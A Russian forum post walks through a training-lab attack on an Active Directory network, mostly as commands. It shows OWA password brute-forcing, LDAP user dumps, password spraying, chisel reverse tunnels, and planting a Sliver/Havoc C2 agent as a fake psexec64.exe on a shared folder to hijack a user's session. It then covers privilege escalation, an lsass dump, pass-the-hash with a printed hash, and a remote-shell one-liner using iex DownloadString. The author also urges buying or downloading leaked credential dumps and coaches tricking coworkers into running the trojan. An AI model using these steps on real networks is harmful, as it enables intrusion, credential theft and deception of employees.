LIMB
Вход Регистрация

тема

Active Directory для чайников часть 2 (owa доступ, перемещаемся по сети)

sup · · 2 ответов · 795 просмотров

Не удалось прогрузить медиа


Доступная сетка 10.114.0.0/24
Формат: ctf
Спойлер: Авторские права
Все авторские права принадлежат студенту и Академии Кодебай

Не удалось прогрузить медиа


Сразу без лишних вопросов сканируем сетку на наличие открытых портов. В первую очередь будем смотреть на доступные веб ресурсы.

Не удалось прогрузить медиа


Вот два хоста 20 и 25. Глянем, что за приложу нам доступна.

Не удалось прогрузить медиа


Сохраняем в отдельный txt емейлы и в отдельный username.

Не удалось прогрузить медиа



На 25 хосту висит owa. Значит ее и будем брутать.

Не удалось прогрузить медиа


Запускаем burpsuite, перехватим запрос, чтобы посмотреть какие заголовки нам нужно передать фаззер и body.

Не удалось прогрузить медиа



Я выделил зеленым - это, что нам нужно передать фаззеру, чтобы успешно можно было перебирать креды.

Не удалось прогрузить медиа


Не удалось прогрузить медиа

Bash:
ffuf -u "https://10.114.0.20/owa/auth.owa" -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "destination=https%3A%2F%2F10.114.0.20%2Fowa%2F&flags=4&forcedownlevel=0&username=1&password=FUZZ&passwordText=&isUtf8=1" -w passwords.txt

Не удалось прогрузить медиа


Я подставил юзернейм "sesidorov" (ранее мы нашли почту, я просто удалил домен) и словарик паролей взял. У каждого свои вордлисты должны быть, составляйте сами.

Допустим вот топ 100 юзернеймов для owa
Bash:
administrator
admin
sysadmin
root
guest
system
support
helpdesk
exchange
owa
mail
service
services
backup
monitor
monitoring
security
report
automation
api
test
testing
staging
production
default
sql
dbadmin
sa
itadmin
localadmin
domainadmin
globaladmin
superadmin
ldapadmin
exchangeadmin
mailadmin
exadmin
owaadmin
eadmin
exchangeuser
mailbox
exchange_service
casarray
transport
edge
mbxadmin
mbadmin
administrator1
admin1
admin2
admin3
guest1
guest2
service1
service2
system1
system2
backup1
backup2
monitor1
monitor2
support1
support2
helpdesk1
helpdesk2
helpdeskadmin
helpdesk_support
automation1
api1
test1
test2
testing1
staging1
production1
defaultuser
defaultadmin
systemuser
sqladmin
dbuser
localuser
globaluser
serviceaccount
integration
sync
replication
migrate
deploy
update
install
installer

Идея в чем, вы можете попросить нейронку сгенерировать распространенные юзернеймы - это тоже неплохой вариант. Но в открытых источниках полно утечек url;log;pass, никто вам не мешает воспользоваться такой замечательной утилитой "emeditor" и отсортировать самые распространенные юзернеймы, пароли. Вот коротко покажу как это сделать. Идем на дамагу (xss), скачиваем утечки или покупаем, неважно.

Не удалось прогрузить медиа


Не удалось прогрузить медиа



Удаляем столбцы с url;log. Оставляем только pass

Не удалось прогрузить медиа



Далее можно глазами быстро пробежаться глянуть какие дефолт пассы используются. Также и для юзернеймов. Можно потом отдельно выдернуть пароли где есть qwe, pass или юзернеймы из дефолт списка (топ 100 что я кидал) и у вас будут дефолт юзернеймы + правила. К примеру defaultuser$$, defaultuser123, defaultuser!!!

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Думаю идея понятна. Но поскольку у нас уже есть первоначальный доступ (sesidorov:ewq1!QWE) нам нужно двигаться дальше по сетке.

Bash:
netexec smb 10.114.0.0/24 -u "sesidorov" -p "ewq1\!QWE"

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Быстренько фаззим сеточку, смотрим есть ли куда-то удаленным доступ. Жаль ssh нет, зато есть ldap.

Не удалось прогрузить медиа


Понятно значит 20 хост это домейн контроллер. Там и kerberos запущен и ldap. Сейчас туда обратимся сделаем выгрузку пользователей.

Не удалось прогрузить медиа


Не удалось прогрузить медиа

Bash:
netexec ldap 10.114.0.20 -u "sesidorov" -p "ewq1\!QWE" --users >> users.txt
awk '{print $5}' users.txt | sort -u > users2.txt

Можно было юзеров извлечь и с помощью smb, но это дольше и шумнее. Т.к в случае с ldap отправляется запрос и возвращаются пользователи, а если мы используем smb, то там целый головняк. По одному SAMR запросу для каждого пользователя. Я бы сравнил ldap --users с UNION SQL INJECTION, а SAMR (smb --users) с BLIND SQL INJECTION, думаю разница очевидна.

ПараметрLDAPSAMR через SMBСкоростьВысокая (один запрос)Низкая (по одному запросу для каждого пользователя)ШумностьНизкаяВысокая (много вызовов к API)Сложность использованияПростая (один запрос)Сложная (требуется инструмент, поддерживающий SAMR)ПодозрительностьМенее заметно для мониторингаЧасто вызывает подозрения

Не удалось прогрузить медиа


Утилитой ldapsearch мы тоже можем извлекать пользователей.

Bash:
ldapsearch -x -H ldap://10.114.0.20 -D "sesidorov" -w 'ewq1!QWE' -b "DC=ENUMLAB,DC=LOCAL" "(objectClass=user)" sAMAccountName | grep "sAMAccountName:"


Не удалось прогрузить медиа



Если вам интересно насколько много траффика идет от smb, то запустите wireshark и сравните с ldap. Ладно, не будем сильно на этом заострять внимание. Погнали фаззить новые учетки.

Но сначала проверим шары

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Ничего интересного. Взглянем еще раз на наш дамп ldap, все ли мы вытащили оттуда

Не удалось прогрузить медиа


А ну да. В описании был пароль от учетки netproxy.

Не удалось прогрузить медиа


Bash:
netexec smb 10.114.0.0/24 -u "netproxy" -p "i6y2508poa5K"

У нас есть два пароля i6y2508poa5K, ewq1!QWE и юзерки из ldap. Во первых мы можем снова пофаззить owa, во вторых мы можем пофаззить сетку. Начнем естественно с owa, т.к это банально быстрее по времени.

Не удалось прогрузить медиа


Вот так конечно делать неправильно, шуметь. Надо было распылить только два пароля, а не весь список в первую очередь. Всегда нужно отталкиваться от идеи, которая быстро выполнится, меньше шума. А когда уже нет выхода можно и пошуметь.

Поэтому я это дело отменю и сделаем нормально.

Bash:
ffuf -u "https://10.114.0.20/owa/auth.owa" -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "destination=https%3A%2F%2F10.114.0.20%2Fowa%2F&flags=4&forcedownlevel=0&username=FUZZ&password=i6y2508poa5K&passwordText=&isUtf8=1" -w users2.txt -fs 208

Не удалось прогрузить медиа


Зайдем в owa, глянем может что-то интересное есть.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Кстати тут мы можем посмотреть какие пользователю имеют почтовый ящик. Дампить это дело не будем, т.к все эти пользователи у нас есть уже из ldap. И да, кстати говоря, мы могли бы просто войти в owa с учетки sesidorov сделать дамп GAL (гуглим GAL owa github script) и по идее шума было бы еще меньше. Та можно было даже не запускать скрипты, ручками скопипастить. Ну ладно уже.

!EnumLab2024! - вот еще один новый пароль.

Давайте подведем некоторый итог. Вот юзеров которых мы собрали из ldap
Спойлер: users2.txt
agzamova

arskij

asfedorov

ashimov

asmolova

ayukhanov

barmakov

bezumova

bibarsova

bindyukevich

bojnich

brevnov

chan

churinova

dovydovskij

drevetnyak

dylko

dytsevich

ermolina

gabeev

garkunov

ges

gilmanshina

ginosyan

grabtsevich

gringauz

kanevets

kasmynina

kazadoeva

khadyko

khajrnasov

khatetovskij

khodotov

khovrenkov

khrupin

khvatova

kirienya

kirillov_de

klygo

klyuev

konovalova

kopejkin

kordiyak

korzhenko

kotomkina

krbtgt

krivanos

kriveleva

krumkachev

kulapina

kunakhovich

larionov

lezhnina

lishchik

lungu

lupina

lyalkovskij

medvedko

melnichin

merkurev

mikhajlina

milkoto

mokhovikov

nagorov

netbackup

netproxy

nosachev

ognev

olender

ordin

patin

plavina

plavkov

pribytkov

radzivil

rozinkevich

ruban

salikhyanov

sanitarova

savkovich

sergushkov

sesidorov

shabovich

shamin

shasheva

shchepotkin

shirmanova

shlyashinskaya

shpilevoj

slavina

sshd

stryukov

sukhomero

svinolupov

timofeenko

tokachev

trus

tsvajg

tymanyuk

urachenko

-Username-

vetkin

vikhlyaeva

yachmennikov

yukhta

zaparenko

zenkov

zherebkov
Спойлер: pass.txt
!EnumLab2024!
i6y2508poa5K
ewq1!QWE


Фаззим в надежде получить валидную учетку, а далее проверим есть ли доступ по ssh

Не удалось прогрузить медиа


Не удалось прогрузить медиа



О да! Заходим на хост

Не удалось прогрузить медиа


Нашли еще один сетевой интерфейс. Мы не можем достучаться до 112.114.0.25, а возможно там тоже есть какие-то доступы, если мы пофаззим.

Не удалось прогрузить медиа


Ну все строим туннель.

Не удалось прогрузить медиа


Скачиваем к примеру старье по типу chisel, естественно так делать не нужно, но у нас учебная сетка.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Не удалось прогрузить медиа


Сервер - наш кали.
Клиент - скомпрометированная тачка, т.к именно она и будет к нам подключаться,

Подробнее про chisel читайте тут: https://codeby.net/threads/chto-takoe-chisel-i-kak-on-rabotaet.84235

На сервере (кали) запускаем

Bash:
chisel server --port 8443 --reverse

Не удалось прогрузить медиа


На клиенте (виндовс) запускаем

Bash:
chisel.exe client 10.0.0.119:8443 R:1090:socks

Не удалось прогрузить медиа



Прилетает коннект на наш кали

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Конфиг взял отсюда: https://github.com/haad/proxychains/blob/master/src/proxychains.conf

socks5 127.0.0.1 1090 добавил и сохранил.

Туннель работает, четко! Проверим что мы можем найти, ведь мы теперь можем достучаться до хоста, который не был нам доступен.

Не удалось прогрузить медиа


Без туннеля мы не можем достучаться. А вот с туннелем нам доступен ssh. Думаю понятно что его и нужно фаззить.
Bash:
proxychains -f proxychains.conf -q netexec ssh 10.114.0.25 -u "users2.txt" -p pass.txt

Не удалось прогрузить медиа


Bash:
proxychains -f proxychains.conf -q netexec ssh 112.114.0.25 -u "users2.txt" -p pass.txt

Не удалось прогрузить медиа



Заходим по ssh на 112.114.0.25

Не удалось прогрузить медиа


Видим, что пользователь состоит в WriteShare.

Далее долгое время я думал как найти хост на котором у нас есть шара с write. Вот что я делал...

у нас есть следующие учетки с доступом по ssh. Я решил в первую очередь именно с ними пофаззить доступные шары в двух сетках.

nosachev:!EnumLab2024!
kirillov_de:i6y2508poa5K

Сканим сеть 10.114.0.0/24 с пользователем kirillov_de на наличие шар с write (записью)

Не удалось прогрузить медиа


Сканим сеть 10.114.0.0/24 с пользователем nosachev на наличие шар с write (записью)

Не удалось прогрузить медиа


Ничего нет=) Но не печалимся. У нас есть вторая сетка 112.114.0.0/16 которая нам без туннеля недоступна. Не нужно быть математиком, чтобы понять, что /16 это 65 тысяч с лишним хостов. Сканить через socks это мягко говоря задница полная. Можно разделить одну больше сетку на 3 поменьше и создать 3 сокса и 3 конфига для proxychains. Сейчас продемонстрирую на практике что я имею ввиду.

Не удалось прогрузить медиа


Конечно 3 туннеля лень строить. Я построю еще один точно также.

Не удалось прогрузить медиа


Прилетел еще один коннект.
cp proxychains.conf proxychains1.conf
nano proxychains1.conf

Заменяем 1080 на 1070 и проверяем соединение.

Code:
proxychains -f proxychains1.conf -q curl ident.me
proxychains -f proxychains.conf -q curl ident.me

Ну все сканним шары, сетку ток на две поделим, т.к 2 конфига у нас, можем себе позволить.
  • Первая: 112.114.0.0/17 с диапазоном адресов 112.114.0.0 - 112.114.127.255
  • Вторая: 112.114.128.0/17 с диапазоном адресов 112.114.128.0 - 112.114.255.255
Не удалось прогрузить медиа


Так=) Ну откровенно это п!@#$ц ждать долго завершения сканирования.

Не удалось прогрузить медиа


Я решил проверить таблицу arp. И обнаружил подозрительный хост 112.114.213.174

Не удалось прогрузить медиа


Вот! Есть право на запись в шару "Soft".

Ранее я сообщил, что этот хост подозрительный. Да, это так, дело в том, что я несколько часов подключался к этому хосту и пробовал найти в arp -a новые записи, этого хоста не было. И вот он чудом появился. Дело в том, что кто-то с тачки 112.114.0.25 подключился к шаре 112.114.213.174 и система сохранила в arp таблице ip и макадрес устройства к которому подключились (к шаре). arp таблица обновляется и временно хранит записи, поэтому ранее я не находил этот хост.

Далее нам потребуется установить C2, чтобы залить в шару агент.

Установка C2 HAVOC

https://github.com/RalfHacker/Havoc - используем Havoc от Ральф Хакера, т.к он поддерживает кириллицу.
@RalfHackerChannel - ссылка на телеграм канал автора

git clone https://github.com/RalfHacker/Havoc.git


golang нужно установить 1.18, чтобы избежать проблем с компиляцией. Если у вас другая версия, то необходимо удалить.

sudo rm -rf /usr/local/go

go version

Вы должны убедиться, что команда "go" больше не найдена = golang удален. Сейчас поставим необходимую нам версию.

wget https://golang.org/dl/go1.18.linux-amd64.tar.gz

Вложение 124 недоступно

sudo tar -C /usr/local -xzf go1.18.linux-amd64.tar.gz

Теперь осталось лишь настроить переменные окружения.

Вложение 125 недоступно

Вложение 126 недоступно

Code:
nano ~/.zshrc
source ~/.zshrc
export PATH=$PATH:/usr/local/go/bin

Далее используем официальный репозиторий для установки Havoc: https://havocframework.com/docs/installation

Зачем нужно проверять шары

Часто сотрудникам доступны шары в которых размещаются документы, софт и другая приблуда, которая может быть полезна во время работы. Никто нам не мешает заменить чужой бинарь нашим C2 и ожидать, чтобы сотрудник перешел в шару, открыл якобы легитимное ПО, а на деле подарит нам свою сессию. Особенно это полезно, когда есть доступ к exchange/рабочий чат. Пишешь просто ребятки, у меня что-то не открывается psexec, проверьте все ли в порядке. Конечно, не очень хорошая идея. Тут и дураку понятно, что либо отправитель взломан, либо с файлом действительно что-то не так. Поэтому важно подумать, как правильно попросить другого сотрудника открыть файл. Лучше конечно ему дать приказ, дать задачу куда-то подключиться в случае если это psexec. Меньше надо чесать языком - больше делать.

Монтируем шару


Code:
powershell.exe "Get-PSDrive"


Не удалось прогрузить медиа


Видите нифига нет нужной шары. Сейчас ее быстренько примонтируем.

Code:
net use Z: \\112.114.213.174\Soft /user:enumlab.local\nosachev !EnumLab2024!

Не удалось прогрузить медиа


Проверим можем ли мы в нее записывать.

Не удалось прогрузить медиа


Не удалось прогрузить медиа

Тут я начал долго тупить потому что переустановил kali и у меня были небольшие траблы с сетью. А Havoc много весит и постоянно какие-то проблемы возникали с зависимостями, возможно версия golang не подходила. Ну и мне соответственно лень стало искать способы пофиксить ошибки. Я нашел другой интересный C2. Как я понял имеет смысл использовать разного рода утилиты, а не сидеть на жопе ровно=) Пожалуй коротко распишу про C2 sliver, а вы уже выберет какой C2 вам по душе. Лучше попробуйте оба.

Установка C2 sliver 

github: https://github.com/BishopFox/sliver/releases

Не удалось прогрузить медиа



Установка в одну строку. Данный скрипт подхватит последний релиз в моем случае 1.5.42. 


Bash:
curl https://sliver.sh/install|sudo bash
Не удалось прогрузить медиа




Вот как работает данный C2. Подробнее читайте тут: https://habr.com/ru/articles/767404/

Заменяем легитивный бинарь нашим

net use Z: \\112.114.213.174\Soft /user:enumlab.local\nosachev !EnumLab2024! - уже выполнили (примонтировали сетевой UNC путь, как диск Z:). Это все сделано для нашего удобства.
Bash:
copy C:\windows\tasks\c2.exe Z:\psexec64.exe

Не удалось прогрузить медиа



Какой-то хрен, которому был расшарен доступ к файлам с хоста 112.114.213.174 скачал наш бинарь. Теперь у нас есть сессия от пользователя larionov

Не удалось прогрузить медиа


SeDebugPrivilege
SeImpersonatePrivilege
SeCreateGlobalPrivilege

printspoofer, potato все возможные варианты перепробовал ничего не помогло.
NetworkServiceExploit.exe - это был мой вариант

Code:
shell cmd.exe /c icacls "c:\windows\tasks\nse.exe" /grant *S-1-1-0:(RX)
 - выдали права на исполнение. *S-1-1-0 — это SID для группы "Everyone" (все пользователи).
Code:
shell cmd.exe /c icacls "c:\windows\tasks\c2.exe" /grant *S-1-1-0:(RX)

Bash:
shell nse.exe -i -c c:\windows\tasks\c2.exe

Не удалось прогрузить медиа


Таким вот образом мы получили доступ от имени системы.

Поиграемся со sliver 

Вот что мы будем делать. С официального сайта microsoft  ставим образ к примеру windows 10. Если будут какие-то ошибки с виртуалкой, то проверьте носители, чтобы там не было флапи диска=)) Сеть ставим общую (сетевой мост), чтобы kali и win10 могли друг друга видеть

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Не удалось прогрузить медиа

systemctl start sliver - запускаем обязательно.
sliver - переходим в консоль

Bash:
generate --mtls 192.168.1.136 --save /home/kali/Desktop --os windows

Не удалось прогрузить медиа


Генерируем агента под windows. Вродь как опция --os windows необязательная, т.к по дефолту агент под винду ну да ладно.

Проверяем работает ли лисенер.

Не удалось прогрузить медиа
/

Не удалось прогрузить медиа


Ну все. Поднимаем простой веб сервер на питоне и грузим эту шнягу на наш скомпрометированный хост.

Не удалось прогрузить медиа



Вырубаем дефендер и запускаем агента .exe.

Не удалось прогрузить медиа


А вот и наша сессия, которая прилетела. Пишем use и жмем enter. Выберется единственная доступная сессия. Теперь мы можем выполнять команды.

Не удалось прогрузить медиа


А вот и операторы (пентестеры). Я зашел от имени kali поэтому именно он онлайн.

Не удалось прогрузить медиа


Если требуется удалить существующую сессию, то делаем так

sessions -k id

Не удалось прогрузить медиа


Но есть минус. Мы получаем не интерактивный шелл. Мы не можем выполнять powershell скрипты и другие команды, которые не предназначены в sliver. Поэтому мы делаем следующее.

Генерируем маячок. Это означает, что он будет стучать на наш c2 в определенное время. Проверять не отправил ли сервер новую задачку=)) Ну что-то типа того. 

generate beacon --mtls 192.168.1.136 --os windows --arch amd64 --format exe --save /home/kali/Desktop --seconds 5 --jitter 3

Не удалось прогрузить медиа


use 29eb8d87

Мы сначала перешли в обычную сессию, которая нам прилетела. Затем уже прописали interactive, чтобы получить сессию интерактивную. А как получили надо же к ней подключиться с помощью команды "use".

Не удалось прогрузить медиа


Вот теперь осталось только написать в терминале shell и мы сможем наконец-то получить нормальный шелл.

Не удалось прогрузить медиа


В целом самые базовые вещи я объяснил. Естественно можно использовать вместо mtls  - http, dns. Задача атакующего просто не спалиться. Помимо .exe можно нагрузки генерить в виде шелла, либо для другой os, к примеру для мака или линукса. Я вот думаю сделать обзор на самые распространенные C2 на данный момент. А пока что просто прикреплю дополнительные материалы по sliver

Спойлер: Дополнительные источники
C2: sliver
					
				

				Исследуем возможности фреймворка

				
					
						
							
						
					
					teletype.in
				
			
		
	
​
	

	
		
			
				
					
						
					
				
			
			
				
					
						Sliver: An Awesome C2 Framework
					
				

				I’ve enjoyed diving into more red-teaming tools over the last couple of weeks, spoiler — there’s an abundance of them and most have really…

				
					
						
							
						
					
					barrymalone.medium.com
				
			
		
	
​

Используем sliver и повышаем привилегии без смс и регистрации

Что-то мы засиделись. Быстренько повторим последний пройденный этап, но уже используя sliver.

Примонтировали сетевую шару. 

Не удалось прогрузить медиа


Сгенерировали бекончик и поставили лисенер (mtls команда).

Не удалось прогрузить медиа


Заменили легитимный бинарь на наш

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Прилетела сессия. Сделали себе интерактивный шелл.

Не удалось прогрузить медиа


Повышаем привилегии с помощью новой учетки.

Заливаем NetworkServiceExploit.exe (nce.exe) и c2 агента, т.к у нас powershell, то вот команды, чтобы грузануть с нашего локального сервера.

Bash:
Invoke-WebRequest -Uri "http://10.0.0.60:8080/x2.exe" -OutFile "C:\Windows\tasks\x2.exe"
Invoke-WebRequest -Uri "http://10.0.0.60:8080/nce.exe" -OutFile "C:\Windows\tasks\nce.exe"


Не удалось прогрузить медиа


Открываем еще один терминал с sliver. И подключаемся к новой сессии. Просто пишем use и там будет на выбор сессия с "СИСТЕМА" - это нам и нужно.

Не удалось прогрузить медиа


У sliver бывает такая проблема, что не получается получить интерактивный шелл. На гите часто пишут об этом пользователи. Если у вас будет такая проблема, то просто попробуйте прописать команду из help "getsystem" и подключитесь к новой сессии.

Раз уж мы система сдампим lsass

Не удалось прогрузить медиа


Опа! Какой-то армянин попробуем пробраться к нему, используя pass the hash.


Не удалось прогрузить медиа


evil-winrm -i 10.114.0.25 -u 'ginosyan' -H da9d59c4174e40daeefd7c8aeba00083

Не удалось прогрузить медиа


Грузим наш c2, чтобы повысить привилегии с помощью NetworkServiceExploit.exe. Можем себе это позволить т.к есть необходимые привилегии у пользователя ginosyan. 

Не удалось прогрузить медиа


p/s если нужен нормальный шелл можно сделать вот так

Code:
iex ((New-Object System.Net.WebClient).DownloadString('[URL='https://raw.githubusercontent.com/antonioCoco/ConPtyShell/refs/heads/master/Invoke-ConPtyShell.ps1%27))']https://raw.githubusercontent.com/antonioCoco/ConPtyShell/refs/heads/master/Invoke-ConPtyShell.ps1'))[/URL]; Invoke-ConPtyShell ip 4422 - в winrm 
stty raw -echo; (stty size; cat) | nc -lvnp 4422 - на kali

Отлично!

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Не удалось прогрузить медиа


Ранее мы получили сессию на .248 хочу, а теперь .25 - это так, чтобы никто не подумал что мы кругами ходим=)))) 

Узнаем какие еще пользаки есть в c:\users

Не удалось прогрузить медиа


Пошумим, бл##ть

Не удалось прогрузить медиа



Что мы сделали. Запустили winpeas, глянули где упоминается пользователь garkunov


Далее гуглим как извлечь хэши из локального хранилища паролей windows. Забираем хэшик: $DCC2$10240#garkunov#44e48f2a5fd59016d156e2dd4d346117

Не удалось прогрузить медиа


Фаззим. Смотрим где есть доступ

Не удалось прогрузить медиа


Не удалось прогрузить медиа


Не удалось прогрузить медиа


Интересная шара. Ясен пень сейчас проверим че там.

Не удалось прогрузить медиа


Опана! Поняли что произошло? Для чайников объясню. Мы получили учетку для которой расшарили на .0.20 хосту бэкапы адшки в ntds доменные учетки хранятся. Мы взяли примонтировали эту сетевую шару для удобства и перенесли на свою локальную тачку бэкапы, чтобы распарисить.

Вложение 171 недоступно

asfedorov:3Sell4F5e0e! (пасс сбрутил)

Вложение 172 недоступно

Вложение 173 недоступно

Всё сессия системы получена. Огромное спасибо академии codeby и Дмитрию за помощью, без них бы не вышли такие полезные статьи.
👍78 😮9 👏9 💯14
Так, ребятки, извиняюсь за суету, что материал подал не структурировано. Кстати sliver можно в kali установить еще проще.

sudo apt install sliver
👍2
Ответsup

Так, ребятки, извиняюсь за суету, что материал подал не структурировано. Кстати sliver можно в kali установить еще проще. sudo apt install sliver

вопрос почему когда ты брутишь конкретного юзера ты не подставляешь домен разве это так работает? ну типа не домен\юзернейм или не юзернейм@домен.com разве домен сам определяется я просто не пойму как это работает на практике можешь обьяснить. Получается если мы знаем юзернеймов то домены нам по сути и не нужны и все будет работать даже на внешнем периметре.
👍2

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.